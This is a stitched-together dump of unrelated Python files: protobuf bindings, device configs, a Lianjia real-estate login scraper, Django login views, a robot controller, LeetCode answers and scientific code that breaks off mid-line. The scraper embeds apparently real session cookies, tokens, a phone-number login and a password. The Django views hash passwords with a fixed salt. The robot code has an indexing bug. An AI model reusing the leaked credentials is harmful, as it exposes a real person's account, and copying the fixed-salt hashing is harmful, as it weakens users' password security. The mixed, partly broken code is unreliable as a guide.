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#calss header class _INDIGENT(): def __init__(self,): self.name = "INDIGENT" self.definitions = [u'very poor'] self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.specie = 'adjectives' def run(self, obj1, obj2): self.jsondata[obj2] = {} self.jsondata[obj2]['properties'] = self.name.lower() return self.jsondata
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# Generated by the protocol buffer compiler. DO NOT EDIT! # source: dstore/engine/procedures/mi_GetSettings_Ad.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database from google.protobuf import descriptor_pb2 # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from dstore import values_pb2 as dstore_dot_values__pb2 from dstore.engine import engine_pb2 as dstore_dot_engine_dot_engine__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='dstore/engine/procedures/mi_GetSettings_Ad.proto', package='dstore.engine.mi_GetSettings_Ad', syntax='proto3', serialized_pb=_b('\n0dstore/engine/procedures/mi_GetSettings_Ad.proto\x12\x1f\x64store.engine.mi_GetSettings_Ad\x1a\x13\x64store/values.proto\x1a\x1a\x64store/engine/engine.proto\"\x98\x02\n\nParameters\x12,\n\x07user_id\x18\x01 \x01(\x0b\x32\x1b.dstore.values.IntegerValue\x12\x15\n\x0cuser_id_null\x18\xe9\x07 \x01(\x08\x12\x30\n\x0ckey_variable\x18\x02 \x01(\x0b\x32\x1a.dstore.values.StringValue\x12\x1a\n\x11key_variable_null\x18\xea\x07 \x01(\x08\x12\x46\n!search_for_key_variable_with_like\x18\x03 \x01(\x0b\x32\x1b.dstore.values.BooleanValue\x12/\n&search_for_key_variable_with_like_null\x18\xeb\x07 \x01(\x08\"\x80\x03\n\x08Response\x12\x38\n\x10meta_information\x18\x02 \x03(\x0b\x32\x1e.dstore.engine.MetaInformation\x12\'\n\x07message\x18\x03 \x03(\x0b\x32\x16.dstore.engine.Message\x12:\n\x03row\x18\x04 \x03(\x0b\x32-.dstore.engine.mi_GetSettings_Ad.Response.Row\x1a\xd4\x01\n\x03Row\x12\x0f\n\x06row_id\x18\x90N \x01(\x05\x12.\n\tuser_name\x18\x91N \x01(\x0b\x32\x1a.dstore.values.StringValue\x12-\n\x07user_id\x18\x92N \x01(\x0b\x32\x1b.dstore.values.IntegerValue\x12*\n\x05value\x18\x93N \x01(\x0b\x32\x1a.dstore.values.StringValue\x12\x31\n\x0ckey_variable\x18\x94N \x01(\x0b\x32\x1a.dstore.values.StringValueBR\n\x1bio.dstore.engine.proceduresZ3gosdk.dstore.de/engine/procedures/mi_GetSettings_Adb\x06proto3') , dependencies=[dstore_dot_values__pb2.DESCRIPTOR,dstore_dot_engine_dot_engine__pb2.DESCRIPTOR,]) _sym_db.RegisterFileDescriptor(DESCRIPTOR) _PARAMETERS = _descriptor.Descriptor( name='Parameters', full_name='dstore.engine.mi_GetSettings_Ad.Parameters', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='user_id', full_name='dstore.engine.mi_GetSettings_Ad.Parameters.user_id', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='user_id_null', full_name='dstore.engine.mi_GetSettings_Ad.Parameters.user_id_null', index=1, number=1001, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='key_variable', full_name='dstore.engine.mi_GetSettings_Ad.Parameters.key_variable', index=2, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='key_variable_null', full_name='dstore.engine.mi_GetSettings_Ad.Parameters.key_variable_null', index=3, number=1002, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='search_for_key_variable_with_like', full_name='dstore.engine.mi_GetSettings_Ad.Parameters.search_for_key_variable_with_like', index=4, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='search_for_key_variable_with_like_null', full_name='dstore.engine.mi_GetSettings_Ad.Parameters.search_for_key_variable_with_like_null', index=5, number=1003, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=135, serialized_end=415, ) _RESPONSE_ROW = _descriptor.Descriptor( name='Row', full_name='dstore.engine.mi_GetSettings_Ad.Response.Row', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='row_id', full_name='dstore.engine.mi_GetSettings_Ad.Response.Row.row_id', index=0, number=10000, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='user_name', full_name='dstore.engine.mi_GetSettings_Ad.Response.Row.user_name', index=1, number=10001, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='user_id', full_name='dstore.engine.mi_GetSettings_Ad.Response.Row.user_id', index=2, number=10002, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='value', full_name='dstore.engine.mi_GetSettings_Ad.Response.Row.value', index=3, number=10003, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='key_variable', full_name='dstore.engine.mi_GetSettings_Ad.Response.Row.key_variable', index=4, number=10004, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=590, serialized_end=802, ) _RESPONSE = _descriptor.Descriptor( name='Response', full_name='dstore.engine.mi_GetSettings_Ad.Response', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='meta_information', full_name='dstore.engine.mi_GetSettings_Ad.Response.meta_information', index=0, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='message', full_name='dstore.engine.mi_GetSettings_Ad.Response.message', index=1, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='row', full_name='dstore.engine.mi_GetSettings_Ad.Response.row', index=2, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[_RESPONSE_ROW, ], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=418, serialized_end=802, ) _PARAMETERS.fields_by_name['user_id'].message_type = dstore_dot_values__pb2._INTEGERVALUE _PARAMETERS.fields_by_name['key_variable'].message_type = dstore_dot_values__pb2._STRINGVALUE _PARAMETERS.fields_by_name['search_for_key_variable_with_like'].message_type = dstore_dot_values__pb2._BOOLEANVALUE _RESPONSE_ROW.fields_by_name['user_name'].message_type = dstore_dot_values__pb2._STRINGVALUE _RESPONSE_ROW.fields_by_name['user_id'].message_type = dstore_dot_values__pb2._INTEGERVALUE _RESPONSE_ROW.fields_by_name['value'].message_type = dstore_dot_values__pb2._STRINGVALUE _RESPONSE_ROW.fields_by_name['key_variable'].message_type = dstore_dot_values__pb2._STRINGVALUE _RESPONSE_ROW.containing_type = _RESPONSE _RESPONSE.fields_by_name['meta_information'].message_type = dstore_dot_engine_dot_engine__pb2._METAINFORMATION _RESPONSE.fields_by_name['message'].message_type = dstore_dot_engine_dot_engine__pb2._MESSAGE _RESPONSE.fields_by_name['row'].message_type = _RESPONSE_ROW DESCRIPTOR.message_types_by_name['Parameters'] = _PARAMETERS DESCRIPTOR.message_types_by_name['Response'] = _RESPONSE Parameters = _reflection.GeneratedProtocolMessageType('Parameters', (_message.Message,), dict( DESCRIPTOR = _PARAMETERS, __module__ = 'dstore.engine.procedures.mi_GetSettings_Ad_pb2' # @@protoc_insertion_point(class_scope:dstore.engine.mi_GetSettings_Ad.Parameters) )) _sym_db.RegisterMessage(Parameters) Response = _reflection.GeneratedProtocolMessageType('Response', (_message.Message,), dict( Row = _reflection.GeneratedProtocolMessageType('Row', (_message.Message,), dict( DESCRIPTOR = _RESPONSE_ROW, __module__ = 'dstore.engine.procedures.mi_GetSettings_Ad_pb2' # @@protoc_insertion_point(class_scope:dstore.engine.mi_GetSettings_Ad.Response.Row) )) , DESCRIPTOR = _RESPONSE, __module__ = 'dstore.engine.procedures.mi_GetSettings_Ad_pb2' # @@protoc_insertion_point(class_scope:dstore.engine.mi_GetSettings_Ad.Response) )) _sym_db.RegisterMessage(Response) _sym_db.RegisterMessage(Response.Row) DESCRIPTOR.has_options = True DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n\033io.dstore.engine.proceduresZ3gosdk.dstore.de/engine/procedures/mi_GetSettings_Ad')) import grpc from grpc.beta import implementations as beta_implementations from grpc.beta import interfaces as beta_interfaces from grpc.framework.common import cardinality from grpc.framework.interfaces.face import utilities as face_utilities # @@protoc_insertion_point(module_scope)
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N = int(input()) N = N/1000 if N < 0.1: vv = 0 elif 0.1 <= N <= 5: vv = 10 * N elif 6 <= N <= 30: vv = N + 50 elif 35 <= N <= 70: vv = (N-30)/5 + 80 elif N > 70: vv = 89 print(str(int(vv)).zfill(2))
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import os, shutil, glob oldAddres = 'C:/Users/beuo/Downloads/*.xlsx' newAdress = 'C:/Users/beuo/Documents/Demandas/AtualizaMiddleIntegrationVtex' shutil.copy(oldAdress, newAdress) # try: # os.makedirs(dst_fldr) # except: # print("erro") # for xlsx_file in glob.glob(src_fldr+"//*.xlsx"): # shutil.copy2(src_fldr,dst_fldr)
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import sys import os import numpy as np from scipy import ndimage as nd from astropy.io import fits from astropy import stats def minflattenimage(data, size=10): """Smooth the image and flatten it using the minimum value in the image Parameters ---------- data: ndarray image to flatten size: int smoothing size for image Returns ------- data: ndarray flattenned image """ # flatten image in y direction m = np.median(data, axis=1) m = nd.minimum_filter(m, size=size) m.shape = (len(m), 1) data = data / m # flatten image in x direction m = np.median(data, axis=0) m = nd.minimum_filter(m, size=size) data = data / m return data def calc_coef(data, xc, yc): """Given a position of an order, determine the equations that defines its position in the image """ yc = int(yc) cutout = data.copy() obj, sci_num = nd.label(cutout) cutout[obj != obj[yc, xc]] = 0 y, x = np.where(cutout > 0) coef = np.polyfit(x, y, 2) return cutout, coef def make_orders(data, xc=680, limit=1.5, image_size=10, order_size=2, outfile=None): """Determine coefficients that describe all of the orders in the image Parameters ---------- data: ndarray image array with orders in the image xc: int Column to extract orders from limit: float Limit for select orders in flattened data image_size: int Size for minimum filtering of images order_size: int Size for minimum filtering of orders Returns ------- order_dict: dict Dictionary with the key representing the y-position of the order at xc and containing a list of coefficients describing the shape of the order """ # flatten the data data = minflattenimage(data, image_size) # create a rough image of just the location of the orders mask = (data < limit) data[mask] = 0 # clean up the orders and caculate # starting position for each order n = nd.minimum_filter(data[:, xc], size=order_size) o, num = nd.label(n) pos = nd.center_of_mass(n, o, range(1, num)) pos = np.array(pos) # determine the shape of the orders order_dict = {} for yc in pos: yc = yc[0] cutout, coef = calc_coef(data, xc, yc) order_dict[yc] = coef if outfile is not None: keys = sorted(order_dict.keys()) fout = open(outfile, 'w') for i in keys: coef = order_dict[i] output = '%i ' % i output += ' '.join(['%e' % x for x in coef]) if i > 0: fout.write(output + '\n') fout.close() return order_dict
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domenc/mqboard
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# board_config contains magic strings that don't get published or checked into source control # kind tells us which type of board this is running, it is used in board to define LED pins kind = "nodemcu" <--- UPDATE #kind = "huzzah32" #kind = "lolin-d32" #kind = "esp32thing" #kind = "tinypico" #kind = "ezsbc" # location is the system name and is used in mqtt topics, etc location = "mqtest" wifi_ssid = "MY-SSID" <--- UPDATE wifi_pass = "MY-PASSWD" <--- UPDATE # directories to add to the system search path (after ["", "/lib"]), not applied in safe mode syspath = ["/src"] # # Configuration of loaded modules # # The dicts below get passed to the start() function of the modules loaded by main.py. # The name of each dict must match the name of the module. mqtt = { # refer to mqtt_async for the list of config options "server" : "192.168.0.14", <--- UPDATE "ssl_params" : { "server_hostname": "mqtt.example.com" }, <--- UPDATE/REMOVE "user" : "esp32/mqtest", <--- UPDATE/REMOVE "password" : "00000000000000000000000000000000", <--- UPDATE/REMOVE "ssid" : wifi_ssid, "wifi_pw" : wifi_pass, } # little convenience for demo to support with and without mqtt["user"] mqtt_prefix = mqtt.get("user", "esp32/" + location) mqrepl = { "prefix" : mqtt_prefix + "/mqb/", # prefix is before cmd/... or reply/... } watchdog = { "prefix" : mqrepl["prefix"], # must be mqrepl["prefix"] "timeout" : 120, # watchdog timeout in seconds, default is 300 "allok" : 180, # wait time in secs after connection before giving all-OK (no safe mode) "revert" : True, # whether to revert from safe mode to normal mode after all-OK time } logging = { "topic" : mqtt_prefix + "/log", "boot_sz" : 10*1024, # large buffer at boot, got plenty of memory then "boot_level" : 10, # 10=debug, 20=info, 30=warning (avoiding import logging) "loop_sz" : 1024, # more moderate buffer once connected "loop_level" : 10, # 10=debug, 20=info, 30=warning (avoiding import logging) } # Modules to load and call start on. For module foo, if this file defines foo then # foo.start(mqtt, foo) is called, else foo.start(mqtt, {}). If there is no foo.start() then # that's OK too. modules = [ "mqtt", "logging", "mqrepl", "watchdog" ]
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/spider/ljspiderdiy/LianJiaLogIn.py
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[]
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scmsqhn/yunying
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# -*- coding: utf-8 -*- """ @author: 冰蓝 @site: http://lanbing510.info """ import urllib import urllib2 import json import cookielib import re import zlib from cookielib import Cookie, CookieJar import Cookie #获取Cookiejar对象(存在本机的cookie消息) cookie = cookielib.CookieJar() Cookie='lianjia_uuid=205d25a0-3fa2-4b8b-89d6-9bc268f11a55; gr_user_id=dba46ec7-3d71-452b-89aa-47e5c3769e45; Hm_lvt_678d9c31c57be1c528ad7f62e5123d56=1487292480; all-lj=007e0800fb44885aa2065c6dfaaa4029; Hm_lvt_efa595b768cc9dc7d7f9823368e795f1=1486726371,1487292481,1488013426; Hm_lpvt_efa595b768cc9dc7d7f9823368e795f1=1488013426; Hm_lvt_660aa6a6cb0f1e8dd21b9a17f866726d=1487987111,1487998799,1487998878,1487998894; Hm_lpvt_660aa6a6cb0f1e8dd21b9a17f866726d=1488024890; _smt_uid=589d8429.404337d7; CNZZDATA1253492306=676618900-1486715611-http%253A%252F%252Fcn.bing.com%252F%7C1488021670; CNZZDATA1254525948=208011574-1486714296-http%253A%252F%252Fcn.bing.com%252F%7C1488021183; CNZZDATA1255633284=1067758961-1486715301-http%253A%252F%252Fcn.bing.com%252F%7C1488022596; CNZZDATA1255604082=435151434-1486716209-http%253A%252F%252Fcn.bing.com%252F%7C1488019770; _ga=GA1.2.1413369539.1486717997; gr_session_id_a1a50f141657a94e=cd746b33-1513-4ff3-9cc7-55877f30753d; select_city=110000; lianjia_token=2.0058b830d0224728c4491519e1353a413d; lianjia_ssid=7235edd6-6171-e796-d406-78b18c3df6fc' cookie.set_cookie(Cookie) #自定义opener,并将opener跟CookieJar对象绑定 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) #安装opener,此后调用urlopen()时都会使用安装过的opener对象 urllib2.install_opener(opener) def build_opener_with_cookie_str(cookie_str, domain, path='/'): simple_cookie = Cookie.SimpleCookie(cookie_str) # Parse Cookie from str cookiejar = cookielib.CookieJar() # No cookies stored yet for c in simple_cookie: cookie_item = cookielib.Cookie( version=0, name=c, value=str(simple_cookie[c].value), port=None, port_specified=None, domain=domain, domain_specified=None, domain_initial_dot=None, path=path, path_specified=None, secure=None, expires=None, discard=None, comment=None, comment_url=None, rest=None, rfc2109=False, ) cookiejar.set_cookie(cookie_item) # Apply each cookie_item to cookiejar return urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)) # Return opener cookie_str = ck#'tLargeScreenP=1; Authorization=Basic%20HereIsMySecret; subType=pcSub; TPLoginTimes=2' opener = build_opener_with_cookie_str(cookie_str, domain= authurl) home_url = 'http://cd.lianjia.com/' #auth_url = 'https://passport.lianjia.com/cas/login?service=http%3A%2F%2Fcd.lianjia.com%2F' auth_url = 'https://m.lianjia.com/my/login?redirect=/my/index' #auth_url = 'https://passport.lianjia.com/cas/login?service=http%3A%2F%2Fcd.lianjia.com%2F&renew=1' #auth_url = 'https://passport.lianjia.com/cas/login?service=http://cd.lianjia.com/&renew=1' chengjiao_url = 'http://cd.lianjia.com/chengjiao/' ''' headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'passport.lianjia.com', 'Pragma': 'no-cache', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36' } ''' headers = { 'Accept': 'image/webp,image/*,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate, sdch, br', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Content-Type': 'image/x-icon', # 'Host': 'passport.lianjia.com', 'Host': 'https://passport.lianjia.com/cas/login?service=http%3A%2F%2Fcd.lianjia.com%2F', 'Pragma': 'no-cache', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36' } # 获取lianjia_uuid req = urllib2.Request('http://cd.lianjia.com/') opener.open(req) # 初始化表单 req = urllib2.Request(auth_url, headers=headers) result = opener.open(req) # 获取cookie和lt值 pattern = re.compile(r'JSESSIONID=(.*)') jsessionid = pattern.findall(result.info().getheader('Set-Cookie').split(';')[0])[0] html_content = result.read() gzipped = result.info().getheader('Content-Encoding') if gzipped: html_content = zlib.decompress(html_content, 16+zlib.MAX_WBITS) pattern = re.compile(r'value=\"(LT-.*)\"') lt = pattern.findall(html_content)[0] pattern = re.compile(r'name="execution" value="(.*)"') execution = pattern.findall(html_content)[0] # data data = { 'username': '13678028750', #替换为自己账户的用户名 'password': 'lianjia333333$', #替换为自己账户的密码 'execution': execution, '_eventId': 'submit', 'lt': lt, 'verifyCode': '', 'redirect': '', } print data # urllib进行编码 post_data=urllib.urlencode(data) req = urllib2.Request(auth_url, post_data, headers) try: result = opener.open(req) except urllib2.HTTPError, e: print e.getcode() print e.reason print e.geturl() print e.info() # 被禁掉后,不再次登录,一面被列入黑名单; # req = urllib2.Request(e.geturl()) # result = opener.open(req) # req = urllib2.Request(chengjiao_url) # result = opener.open(req).read() #print result
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/doug_proj/doug/credentials_template.py
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[]
no_license
kishan/doug
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# copy template below and save in file called credentials.py CREDENTIALS = { "access_token":"", "VALIDATION_TOKEN":"", "api_key":"" }
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/开班笔记/个人项目/果园/project/userinfo/views.py
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[]
no_license
jiyabing/learning
abd82aa3fd37310b4a98b11ea802c5b0e37b7ad9
6059006b0f86aee9a74cfc116d2284eb44173f41
refs/heads/master
2020-04-02T20:47:33.025331
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import logging from django.contrib import messages from django.contrib.auth.hashers import make_password, check_password from django.core.exceptions import ObjectDoesNotExist from django.db import DatabaseError from django.shortcuts import render, redirect from userinfo.models import UserInfo # Create your views here. auth_check = 'abc' def login(request): return render(request, 'login.html') def login_in(request): if request.method == 'POST': user = UserInfo() user.name = request.POST.get('user') user.password = request.POST.get('pwd') try: find_user = UserInfo.objects.filter(name=user.name) if len(find_user) <= 0: messages.add_message(request, messages.ERROR, '该用户未注册') return redirect('/user/login') if not check_password(user.password, find_user[0].password): return render(request, 'login.html', {'user_info': user, 'message_error': '密码错误'}) except ObjectDoesNotExist as e: logging.warning(e) return redirect('/') return redirect('user/login') def register(request): return render(request, 'register.html') def register_in(request): if request.method == 'POST': new_user = UserInfo() new_user.name = request.POST.get('user') if not new_user.name: return render(request, 'register.html', {'message0': '请输入用户名'}) try: a = UserInfo.objects.get(name=new_user.name) if a: return render(request, 'register.html', {'message1': '该用户已注册'}) except ObjectDoesNotExist as e: logging.warning(e) if request.POST.get('pwd') != request.POST.get('cpwd'): return render(request, 'register.html', {'message2': '两次密码不一致'}) new_user.password = make_password(request.POST.get('pwd'), auth_check, 'pbkdf2_sha1') new_user.phone = request.POST.get('phone') new_user.email = request.POST.get('email') try: new_user.save() except DatabaseError as e: logging.warning(e) return render(request, 'index.html') return render(request, 'register.html')
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/controllers/.history/robot/robot_20201214160008.py
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[]
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shenwuyue-xie/webots_testrobots
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from controller import Robot from controller import Connector from controller import Motor from controller import DistanceSensor from controller import Device from controller import PositionSensor import numpy as np from deepbots.robots.controllers.robot_emitter_receiver_csv import \ RobotEmitterReceiverCSV import math class TaskDecisionRobot(RobotEmitterReceiverCSV): def __init__(self): super(TaskDecisionRobot,self).__init__() self.name = self.robot.getName() self.timestep = int(self.robot.getBasicTimeStep()) self.setupsensors() self.setupmotors() self.robot.batterySensorEnable(self.timestep) def normalize_to_range(self,value, min, max, newMin, newMax): value = float(value) min = float(min) max = float(max) newMin = float(newMin) newMax = float(newMax) return (newMax - newMin) / (max - min) * (value - max) + newMax def setupsensors(self): self.distancesensors = [] if self.name == "0": self.n_distancesensors = 7 self.rearconnector = self.robot.getConnector("rear_connector") self.dsNames = ['ds' + str(i) for i in range(self.n_distancesensors)] for i in range(self.n_distancesensors): self.distancesensors.append(self.robot.getDistanceSensor(self.dsNames[i])) self.distancesensors[i].enable(self.timestep) else : self.n_distancesensors = 4 self.frontconnector = self.robot.getConnector("front_connector") self.rearconnector = self.robot.getConnector("rear_connector") self.dsNames = ['ds' + str(i) for i in range(self.n_distancesensors)] for i in range(self.n_distancesensors): self.distancesensors.append(self.robot.getDistanceSensor(self.dsNames[i])) self.distancesensors[i].enable(self.timestep) def setupmotors(self): self.leftmotor= self.robot.getMotor('left_motor') self.rightmotor= self.robot.getMotor('right_motor') self.frontmotor = self.robot.getMotor('front_motor') self.rearmotor = self.robot.getMotor('rear_motor') self.leftmotor.setPosition(float('inf')) self.rightmotor.setPosition(float('inf')) self.leftmotor.setVelocity(0) self.rightmotor.setVelocity(0) self.rearpositionsensor = self.rearmotor.getPositionSensor() self.rearpositionsensor.enable(self.timestep) def create_message(self): message = [] for distancesensor in self.distancesensors: message.append(distancesensor.getValue()) return message def use_message_data(self,message): for i in range(2): if float(message[i]) <0: message[i] = self.normalize_to_range(float(message[i]),-0.1,0,-8,-4) if float(message[i]) >= 0: message[i] = self.normalize_to_range(float(message[i]),0,1.1,6,12) for j in range(2,14): # message[i] = float(message[i]) # x = np.random.uniform(0,1,12) message[j] = self.normalize_to_range(float(message[j]),-0.1,1.1,0,1) if message [i] >= 0 and message[i] <= 0.3: message[i] = 0 elif message [i] > 0.4 and message [i] <= 0.7: message[i] = 0 elif message [i] > 0.8 and message[i] <= 1: message[i] = 0 elif message[i] > 0.7 and message[i] <= 0.8: message[i] = self.normalize_to_range(message[i],0.7,0.8,0,math.pi/2) elif message[i] > 0.3 and message[i] <= 0.4: message[i] = self.normalize_to_range(message[i],0,0.1,-math.pi/2,0) self.leftmotor.setVelocity(message[0]) self.rightmotor.setVelocity(message[1]) self.frontmotor.setPosition(message[int(self.name) * 2 + 2]) self.rearmotor.setPosition(message[int(self.name) * 2 + 3]) controller = TaskDecisionRobot() controller.run()
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/problems/0092.0_Reverse_Linked_List_II.py
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[]
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lixiang2017/leetcode
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2023-08-25T02:56:58.918792
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''' I do it only in one pass. T: O(N) S: O(1) Runtime: 64 ms, faster than 13.84% of Python3 online submissions for Reverse Linked List II. Memory Usage: 13.9 MB, less than 87.01% of Python3 online submissions for Reverse Linked List II. ''' # Definition for singly-linked list. # class ListNode: # def __init__(self, val=0, next=None): # self.val = val # self.next = next class Solution: def reverseBetween(self, head: Optional[ListNode], left: int, right: int) -> Optional[ListNode]: if left == right: return head hair = ListNode(next=head) node = hair for _ in range(left - 1): node = node.next # node.next -> start start = tail = node.next another = None for _ in range(right - left + 1): nxt = start.next start.next = another another = start start = nxt # link tail to trailing nodes tail.next = start # link heading-nodes to another node.next = another return hair.next ''' no need to check left == right Runtime: 65 ms, faster than 12.39% of Python3 online submissions for Reverse Linked List II. Memory Usage: 14.2 MB, less than 18.38% of Python3 online submissions for Reverse Linked List II. ''' # Definition for singly-linked list. # class ListNode: # def __init__(self, val=0, next=None): # self.val = val # self.next = next class Solution: def reverseBetween(self, head: Optional[ListNode], left: int, right: int) -> Optional[ListNode]: hair = ListNode(next=head) node = hair for _ in range(left - 1): node = node.next # node.next -> start start = tail = node.next another = None for _ in range(right - left + 1): nxt = start.next start.next = another another = start start = nxt # link tail to trailing nodes tail.next = start # link heading-nodes to another node.next = another return hair.next
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/scripts/metrical_error.py
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[]
no_license
sanskrit-kosha/kosha
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2023-04-30T02:46:59.005799
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#!/usr/bin/python # -*- coding: utf-8 -*- """Tries to identify verses with imperfect meters from given file. Prerequisites: Put metrical_error.py file in shreevatsa/sanskrit folder. Put the input_file to be checked for metrical inconsistencies Usage from commandline: python metrical_error.py input_file python metrical_error.py input_file > log.txt """ from __future__ import absolute_import, division, print_function, unicode_literals import logging import sys import codecs import identifier_pipeline if __name__ == '__main__': # Set logging level. logging.getLogger().setLevel(logging.WARNING) # create identifier class. identifier = identifier_pipeline.IdentifierPipeline() # input file. filein = sys.argv[1] # Read input file. fin = codecs.open(filein, 'r', 'utf-8') # Initialize empty verse. verse = '' # For each line, for line in fin: # Ignore lines starting with semicolon. Process others. if not line.startswith(';'): # Add to verse. verse += line # Double danda denotes end of verse. Start identifying meter. if '॥' in line: # print(verse) # Identify meter. identifier.IdentifyFromText(verse) # Extract debug information. debug_info = identifier.AllDebugOutput() # for perfect match, raise no error. if 'exact match' in debug_info: pass # Else print the verse and associated debug information. else: print(verse.encode('utf-8')) print(debug_info.encode('utf-8')) # Reset verse to blank verse = ''
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/pychron/spectrometer/mftable.py
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# =============================================================================== # Copyright 2014 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== # ============= enthought library imports ======================= from traits.api import HasTraits, List, Str, Dict, Float, Bool, Property, cached_property from traitsui.api import View, Controller, TableEditor, UItem # from traitsui.table_column import ObjectColumn # ============= standard library imports ======================== import shutil import csv import os import hashlib from numpy import asarray, array, nonzero from scipy.optimize import leastsq # ============= local library imports ========================== from pychron.core.helpers.filetools import add_extension from pychron.loggable import Loggable from pychron.paths import paths from pychron.spectrometer import set_mftable_name, get_mftable_name def get_detector_name(det): if not isinstance(det, (str, unicode)): det = det.name return det def mass_cal_func(p, x): return p[0]*x**2+p[1]*x+p[2] def least_squares(func, xs, ys, initial_guess): xs, ys = asarray(xs), asarray(ys) errfunc = lambda p, x, v: func(p, x) - v ret, info = leastsq(errfunc, initial_guess, args=(xs, ys)) return ret class FieldItem(HasTraits): isotope = Str def to_csv(self, keys, fmt): return [self.isotope] + [fmt(getattr(self, k)) for k in keys] class MagnetFieldTable(Loggable): """ map a voltage to a mass """ items = List molweights = Dict _mftable = None _detectors = None db = None spectrometer_name = Str use_local_archive = Bool use_db_archive = Bool path = Property def __init__(self, *args, **kw): super(MagnetFieldTable, self).__init__(*args, **kw) # p = paths.mftable # if not os.path.isfile(p): # self.warning_dialog('No Magnet Field Table. Create {}'.format(p)) # else: # self.load_mftable() # if os.environ.get('RTD', 'False') == 'False': self.bind_preferences() def initialize(self, molweights): self.molweights = molweights # p = paths.mftable p = self.path if not os.path.isfile(p): self.warning_dialog('No Magnet Field Table. Create {}'.format(p)) else: self.load_mftable(load_items=True) def bind_preferences(self): from apptools.preferences.preference_binding import bind_preference prefid = 'pychron.spectrometer' bind_preference(self, 'use_local_archive', '{}.use_local_mftable_archive'.format(prefid)) bind_preference(self, 'use_db_archive', '{}.use_db_mftable_archive'.format(prefid)) def get_dac(self, det, isotope): det = get_detector_name(det) d = self._get_mftable() isos, xs, ys = map(array, d[det][:3]) refindex = min(nonzero(isos == isotope)[0]) return ys[refindex] def update_field_table(self, det, isotope, dac, message): """ dac needs to be in axial units """ det = get_detector_name(det) self.info('update mftable {} {} {} message={}'.format(det, isotope, dac, message)) d = self._get_mftable() isos, xs, ys = map(array, d[det][:3]) try: refindex = min(nonzero(isos == isotope)[0]) delta = dac - ys[refindex] # need to calculate all ys # using simple linear offset # ys += 